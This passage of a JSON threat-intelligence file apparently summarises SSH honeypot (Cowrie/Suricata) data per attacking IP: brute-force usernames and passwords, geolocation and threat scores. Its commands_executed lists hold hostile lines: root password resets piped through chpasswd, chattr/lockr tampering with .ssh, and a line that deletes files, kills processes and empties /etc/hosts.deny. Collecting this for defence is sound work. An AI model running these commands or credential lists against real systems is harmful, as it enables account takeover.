        "345gs5662d34",
        "admin",
        "oracle",
        "test",
        "user",
        "admin1",
        "deploy",
        "ftpuser",
        "gameserver",
        "gitolite3",
        "minecraft",
        "openvpn",
        "postgres",
        "server",
        "sophia",
        "ts3",
        "ttest",
        "ttuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1100",
        "12345",
        "123456",
        "12345678",
        "12345qwert",
        "1912",
        "20192019",
        "320320",
        "Huawei12#$",
        "Password123!",
        "admin.",
        "admin1",
        "admin1230",
        "andrea123",
        "apache123",
        "asd12345678",
        "asd123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:S4vMCLBgusXM\"|chpasswd|bash",
        "echo \"root:fVP9tkca4StQ\"|chpasswd|bash",
        "echo \"root:o2dhI4UX9kIJ\"|chpasswd|bash",
        "echo \"root:upUWcNik7RRi\"|chpasswd|bash",
        "echo \"sea\\nnjkwjaxKZRxE\\nnjkwjaxKZRxE\\n\"|passwd",
        "echo -e \"sea\\nnjkwjaxKZRxE\\nnjkwjaxKZRxE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hamamatsu",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 730,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:38:44.921000+00:00",
        "last_seen_30d": "2026-05-16T21:02:41.302000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 595,
        "Suricata": 135
      }
    },
    "120.28.215.200": {
      "attack_count": 486,
      "first_seen": "2026-05-18T22:01:39.102Z",
      "last_seen": "2026-05-20T18:12:55.404Z",
      "sessions": 243,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Davao City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 728,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:01:39.102000+00:00",
        "last_seen_30d": "2026-05-20T18:14:05.125000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 486,
        "Suricata": 242
      }
    },
    "101.36.111.119": {
      "attack_count": 278,
      "first_seen": "2026-05-14T23:13:26.959Z",
      "last_seen": "2026-05-14T23:48:39.785Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "...",
        "dbus-helper",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "warnight",
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "1981",
        "Aa123456789",
        "Abcd123321",
        "Kermit123@",
        "Linux",
        "P@$$word1",
        "Volkswagen",
        "dashboard123",
        "derp",
        "innova",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "magic7",
        "milagros",
        "newton",
        "ninetynine",
        "password01!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Kermit123@\\nP3KUMLc72BoV\\nP3KUMLc72BoV\\n\"|passwd",
        "echo \"linux123\\nzZkHx4Kza07A\\nzZkHx4Kza07A\\n\"|passwd",
        "echo -e \"Kermit123@\\nP3KUMLc72BoV\\nP3KUMLc72BoV\"|passwd|bash",
        "echo -e \"linux123\\nzZkHx4Kza07A\\nzZkHx4Kza07A\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 349,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:13:26.959000+00:00",
        "last_seen_30d": "2026-05-14T23:49:46.089000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 278,
        "Suricata": 71
      }
    },
    "64.227.176.69": {
      "attack_count": 241,
      "first_seen": "2026-05-13T16:06:51.257Z",
      "last_seen": "2026-05-13T16:44:26.870Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "aaa",
        "alex04",
        "barbary",
        "daniel01",
        "director",
        "fastweb",
        "lgb",
        "parker",
        "password1234",
        "philip",
        "qazsedc",
        "qwe123asd",
        "shankar",
        "shell123",
        "testmail1",
        "texas123",
        "topo133",
        "vr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:J8k4uszkLV8U\"|chpasswd|bash",
        "echo \"root:RDAZMW5k0BTa\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:06:51.257000+00:00",
        "last_seen_30d": "2026-05-13T16:45:29.366000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 57
      }
    },
    "165.232.167.235": {
      "attack_count": 218,
      "first_seen": "2026-05-11T07:54:20.697Z",
      "last_seen": "2026-05-11T09:09:08.329Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "test",
        "postgres",
        "345gs5662d34",
        "bkuser",
        "ftpuser",
        "odoo",
        "oracle",
        "tester",
        "testing",
        "user2"
      ],
      "passwords_attempted": [
        "123123",
        "11223344",
        "112233445566",
        "123123123",
        "12345",
        "123qwe!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "789UIOjkl",
        "Pa$$w0rd",
        "Passw0rd",
        "Password123",
        "admin1",
        "admin2",
        "admin2021",
        "asd",
        "asdasd",
        "bkuser",
        "developer1234567",
        "oracle2019"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BvKlqWxsMgJR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:54:20.697000+00:00",
        "last_seen_30d": "2026-05-11T09:10:17.306000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "172.96.14.104": {
      "attack_count": 217,
      "first_seen": "2026-05-28T23:03:34.760Z",
      "last_seen": "2026-05-28T23:31:57.531Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "root1",
        "debian",
        "mahesh",
        "npadmin",
        "odoo17",
        "sabina",
        "tb",
        "ubadmin",
        "valheim"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456789@Ab",
        "Pakistan@123",
        "Pass123!",
        "dodol123",
        "fjbdfdjkdsfs541544",
        "mahesh",
        "npadmin",
        "qwer12345",
        "root",
        "root123",
        "sabina123",
        "tb",
        "ubadmin",
        "valheim123",
        "xxXX1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\npbrpiaJslCqa\\npbrpiaJslCqa\\n\"|passwd",
        "echo \"root:sCqmKnDzouOo\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\npbrpiaJslCqa\\npbrpiaJslCqa\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 64236,
      "as_org": "UnReal Servers, LLC",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:03:34.760000+00:00",
        "last_seen_30d": "2026-05-28T23:33:04.752000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 45
      }
    },
    "175.8.113.26": {
      "attack_count": 188,
      "first_seen": "2026-05-19T18:05:10.591Z",
      "last_seen": "2026-05-20T04:10:00.886Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:05:10.591000+00:00",
        "last_seen_30d": "2026-05-20T04:11:10.084000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 95
      }
    },
    "106.59.13.194": {
      "attack_count": 170,
      "first_seen": "2026-05-19T18:35:18.585Z",
      "last_seen": "2026-05-21T07:54:45.890Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:35:18.585000+00:00",
        "last_seen_30d": "2026-05-21T07:55:52.878000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 170,
        "Suricata": 86
      }
    },
    "57.128.225.99": {
      "attack_count": 149,
      "first_seen": "2026-05-29T10:14:43.581Z",
      "last_seen": "2026-05-29T10:37:04.802Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "admin",
        "ansible",
        "gmodserver",
        "jack",
        "rundeck",
        "seekcy",
        "soporte",
        "spark",
        "storage",
        "usuario1"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123!",
        "Joysuch@Locate2020",
        "Redhat123",
        "admin",
        "asdf1234",
        "changeme",
        "fjbdfdjkdsfs541544",
        "mohammad",
        "moon",
        "rundeck",
        "soporte1",
        "spark",
        "zZ123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"asdf1234\\nd4XGFBZDgRzz\\nd4XGFBZDgRzz\\n\"|passwd",
        "echo -e \"asdf1234\\nd4XGFBZDgRzz\\nd4XGFBZDgRzz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T10:14:43.581000+00:00",
        "last_seen_30d": "2026-05-29T10:38:09.255000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "189.190.200.148": {
      "attack_count": 118,
      "first_seen": "2026-05-22T03:04:48.579Z",
      "last_seen": "2026-05-22T03:36:59.495Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "mysql"
      ],
      "passwords_attempted": [
        "1212",
        "123456@",
        "3245gs5662d34",
        "345gs5662d34",
        "Pi@123456",
        "Qweasd123",
        "aa123456.",
        "asdASD123",
        "asdasd123",
        "git",
        "mysql@1234",
        "passw0rd!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aygCOgnG24vt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:04:48.579000+00:00",
        "last_seen_30d": "2026-05-22T03:38:01.604000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "131.0.48.237": {
      "attack_count": 104,
      "first_seen": "2026-05-18T22:07:03.787Z",
      "last_seen": "2026-05-19T06:20:17.871Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 61882,
      "as_org": "VILAVNET SOLUCOES EM INFORMATICA LTDA-ME",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:07:03.787000+00:00",
        "last_seen_30d": "2026-05-19T06:21:26.431000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 52
      }
    },
    "45.252.188.23": {
      "attack_count": 102,
      "first_seen": "2026-05-10T14:29:32.302Z",
      "last_seen": "2026-05-31T03:45:13.064Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:29:32.302000+00:00",
        "last_seen_30d": "2026-05-31T03:46:20.604000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "196.249.207.112": {
      "attack_count": 99,
      "first_seen": "2026-05-19T18:41:24.565Z",
      "last_seen": "2026-05-20T09:26:00.409Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:41:24.565000+00:00",
        "last_seen_30d": "2026-05-20T09:27:06.315000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 49
      }
    },
    "111.228.33.68": {
      "attack_count": 86,
      "first_seen": "2026-05-22T09:44:35.457Z",
      "last_seen": "2026-05-28T06:30:40.865Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "clouduser",
        "omar",
        "postgres",
        "server",
        "ubuntu"
      ],
      "passwords_attempted": [
        "10203040",
        "123456",
        "5tgb%TGB",
        "Aa123456*",
        "Password123$",
        "QWEasd123!@#",
        "Test123!!",
        "changeme",
        "clouduser",
        "fjbdfdjkdsfs541544",
        "server"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:44:35.457000+00:00",
        "last_seen_30d": "2026-05-28T06:40:42.022000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 56
      }
    },
    "63.143.63.51": {
      "attack_count": 72,
      "first_seen": "2026-05-08T02:22:32.082Z",
      "last_seen": "2026-05-18T13:53:23.973Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:22:32.082000+00:00",
        "last_seen_30d": "2026-05-18T13:54:27.794000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "89.39.105.65": {
      "attack_count": 72,
      "first_seen": "2026-05-09T23:31:49.948Z",
      "last_seen": "2026-05-18T00:53:03.542Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:31:49.948000+00:00",
        "last_seen_30d": "2026-05-18T00:54:06.001000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "104.155.57.32": {
      "attack_count": 70,
      "first_seen": "2026-05-30T04:18:49.906Z",
      "last_seen": "2026-05-30T04:19:23.144Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3327",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
